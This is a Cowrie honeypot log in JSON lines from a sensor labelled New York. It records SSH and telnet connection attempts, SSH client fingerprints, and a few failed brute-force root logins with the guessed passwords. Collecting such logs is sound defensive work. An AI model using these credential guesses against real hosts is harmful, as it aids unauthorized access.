{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51940,"dst_ip":"10.17.0.5","dst_port":22,"session":"dea2a47f54cb","protocol":"ssh","message":"New connection: 176.65.139.103:51940 (10.17.0.5:22) [session: dea2a47f54cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:22.838381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:22.989652Z","src_ip":"176.65.139.103","session":"dea2a47f54cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:22.993885Z","src_ip":"176.65.139.103","session":"dea2a47f54cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:23.576123Z","src_ip":"176.65.139.103","session":"dea2a47f54cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57576,"dst_ip":"159.203.135.109","dst_port":23,"session":"1452152ceabe","protocol":"telnet","message":"New connection: 117.120.7.112:57576 (159.203.135.109:23) [session: 1452152ceabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:23.786630Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:24.672421Z","src_ip":"176.65.139.103","session":"dea2a47f54cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53252,"dst_ip":"10.17.0.5","dst_port":23,"session":"df73f00dbe3c","protocol":"telnet","message":"New connection: 185.111.235.80:53252 (10.17.0.5:23) [session: df73f00dbe3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:24.797265Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":33438,"dst_ip":"159.203.135.109","dst_port":23,"session":"0277650a99ed","protocol":"telnet","message":"New connection: 117.120.7.112:33438 (159.203.135.109:23) [session: 0277650a99ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:25.563965Z"}
{"eventid":"cowrie.session.closed","duration":30.413516759872437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:27.058884Z","src_ip":"117.120.7.112","session":"754afc4d6d22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.755723237991333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:28.222995Z","src_ip":"117.120.7.112","session":"bd3465d91f9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45710,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c59592f6d81","protocol":"telnet","message":"New connection: 185.111.235.80:45710 (10.17.0.5:23) [session: 3c59592f6d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:29.115172Z"}
{"eventid":"cowrie.session.closed","duration":30.991564989089966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:29.123413Z","src_ip":"117.120.7.112","session":"d34d46638dea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108604907989502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:29.162913Z","src_ip":"117.120.7.112","session":"f76ea4d96233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43368,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f07d00be9af","protocol":"telnet","message":"New connection: 117.120.7.112:43368 (159.203.135.109:23) [session: 4f07d00be9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:29.643147Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50430,"dst_ip":"10.17.0.5","dst_port":22,"session":"55720ab3988d","protocol":"ssh","message":"New connection: 176.65.139.103:50430 (10.17.0.5:22) [session: 55720ab3988d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:29.731645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:29.736545Z","src_ip":"176.65.139.103","session":"55720ab3988d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:29.818219Z","src_ip":"176.65.139.103","session":"55720ab3988d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:30.063556Z","src_ip":"176.65.139.103","session":"55720ab3988d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.844205379486084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:30.380327Z","src_ip":"117.120.7.112","session":"9017e99f79fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":45172,"dst_ip":"159.203.135.109","dst_port":23,"session":"75e904930290","protocol":"telnet","message":"New connection: 117.120.7.112:45172 (159.203.135.109:23) [session: 75e904930290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:30.501110Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:31.164920Z","src_ip":"176.65.139.103","session":"55720ab3988d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.745776176452637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:31.376600Z","src_ip":"117.120.7.112","session":"7e72bf5c76b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695802927017212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:32.192845Z","src_ip":"117.120.7.112","session":"f13b27b1dcea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40878,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c157f0ea156","protocol":"telnet","message":"New connection: 185.111.235.80:40878 (10.17.0.5:23) [session: 6c157f0ea156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:33.991315Z"}
{"eventid":"cowrie.session.closed","duration":30.531813859939575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:34.882687Z","src_ip":"185.111.235.80","session":"9a0bbce9305c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57208,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e7552716b4c","protocol":"telnet","message":"New connection: 117.120.7.112:57208 (159.203.135.109:23) [session: 8e7552716b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:35.458533Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56078,"dst_ip":"159.203.135.109","dst_port":23,"session":"e49f2fed00a3","protocol":"telnet","message":"New connection: 117.120.7.112:56078 (159.203.135.109:23) [session: e49f2fed00a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:35.942703Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45772,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c692303846e","protocol":"ssh","message":"New connection: 176.65.139.103:45772 (10.17.0.5:22) [session: 0c692303846e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:35.960427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:35.965436Z","src_ip":"176.65.139.103","session":"0c692303846e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:36.053206Z","src_ip":"176.65.139.103","session":"0c692303846e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46912,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdef8c53c886","protocol":"telnet","message":"New connection: 185.111.235.80:46912 (10.17.0.5:23) [session: cdef8c53c886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:36.211028Z"}
{"eventid":"cowrie.session.closed","duration":30.994253635406494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:36.234889Z","src_ip":"117.120.7.112","session":"0b1afa9e4fde","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:36.306991Z","src_ip":"176.65.139.103","session":"0c692303846e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57932,"dst_ip":"159.203.135.109","dst_port":23,"session":"960bc054603c","protocol":"telnet","message":"New connection: 117.120.7.112:57932 (159.203.135.109:23) [session: 960bc054603c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:36.703711Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":60652,"dst_ip":"159.203.135.109","dst_port":23,"session":"81de006c7573","protocol":"telnet","message":"New connection: 117.120.7.112:60652 (159.203.135.109:23) [session: 81de006c7573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:36.886461Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":60708,"dst_ip":"159.203.135.109","dst_port":23,"session":"b004f632bf66","protocol":"telnet","message":"New connection: 117.120.7.112:60708 (159.203.135.109:23) [session: b004f632bf66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:36.911443Z"}
{"eventid":"cowrie.session.closed","duration":30.572319269180298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:37.264185Z","src_ip":"117.120.7.112","session":"f08ccbd4913a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:37.482017Z","src_ip":"176.65.139.103","session":"0c692303846e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":32880,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c436b48add8","protocol":"telnet","message":"New connection: 185.111.235.80:32880 (10.17.0.5:23) [session: 2c436b48add8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:38.133114Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":38330,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f2fd23dfbe6","protocol":"telnet","message":"New connection: 117.120.7.112:38330 (159.203.135.109:23) [session: 8f2fd23dfbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:39.569509Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":39242,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e6fa5cb3e6","protocol":"telnet","message":"New connection: 117.120.7.112:39242 (159.203.135.109:23) [session: d2e6fa5cb3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:39.961338Z"}
{"eventid":"cowrie.session.closed","duration":31.300501823425293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:40.234697Z","src_ip":"117.120.7.112","session":"4c0c450eb133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44322,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a1d9def41e9","protocol":"telnet","message":"New connection: 185.111.235.80:44322 (10.17.0.5:23) [session: 5a1d9def41e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:40.420569Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41200,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d72aca7af5d","protocol":"telnet","message":"New connection: 117.120.7.112:41200 (159.203.135.109:23) [session: 6d72aca7af5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:40.893912Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":35610,"dst_ip":"159.203.135.109","dst_port":23,"session":"9546f505b151","protocol":"telnet","message":"New connection: 117.120.7.112:35610 (159.203.135.109:23) [session: 9546f505b151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:41.335470Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48108,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec6822a8f64e","protocol":"telnet","message":"New connection: 185.111.235.80:48108 (10.17.0.5:23) [session: ec6822a8f64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:42.158025Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45804,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6bc6545a16d","protocol":"ssh","message":"New connection: 176.65.139.103:45804 (10.17.0.5:22) [session: f6bc6545a16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:42.531597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:42.542957Z","src_ip":"176.65.139.103","session":"f6bc6545a16d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:42.614404Z","src_ip":"176.65.139.103","session":"f6bc6545a16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.326305389404297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:43.000647Z","src_ip":"117.120.7.112","session":"8e18a3292173","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:43.074132Z","src_ip":"176.65.139.103","session":"f6bc6545a16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.723381757736206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:43.191810Z","src_ip":"117.120.7.112","session":"744c47e90955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931283473968506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:44.028888Z","src_ip":"117.120.7.112","session":"db43dae1b5aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33950,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e6afdcb266","protocol":"telnet","message":"New connection: 185.111.235.80:33950 (10.17.0.5:23) [session: e8e6afdcb266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:44.084629Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41942,"dst_ip":"159.203.135.109","dst_port":23,"session":"30abfc058e4b","protocol":"telnet","message":"New connection: 117.120.7.112:41942 (159.203.135.109:23) [session: 30abfc058e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:44.181094Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:44.204256Z","src_ip":"176.65.139.103","session":"f6bc6545a16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":50628,"dst_ip":"159.203.135.109","dst_port":23,"session":"efc58721206a","protocol":"telnet","message":"New connection: 117.120.7.112:50628 (159.203.135.109:23) [session: efc58721206a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:44.600989Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":47682,"dst_ip":"159.203.135.109","dst_port":23,"session":"63a811a63ea0","protocol":"telnet","message":"New connection: 117.120.7.112:47682 (159.203.135.109:23) [session: 63a811a63ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:44.615335Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51104,"dst_ip":"159.203.135.109","dst_port":23,"session":"577a93490c34","protocol":"telnet","message":"New connection: 117.120.7.112:51104 (159.203.135.109:23) [session: 577a93490c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:44.708658Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38852,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf3ac1bca43","protocol":"telnet","message":"New connection: 185.111.235.80:38852 (10.17.0.5:23) [session: 8cf3ac1bca43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:45.071114Z"}
{"eventid":"cowrie.session.closed","duration":30.64090609550476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:45.124998Z","src_ip":"117.120.7.112","session":"c58206a9d860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43428,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f212eae307e","protocol":"telnet","message":"New connection: 185.111.235.80:43428 (10.17.0.5:23) [session: 2f212eae307e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:47.074978Z"}
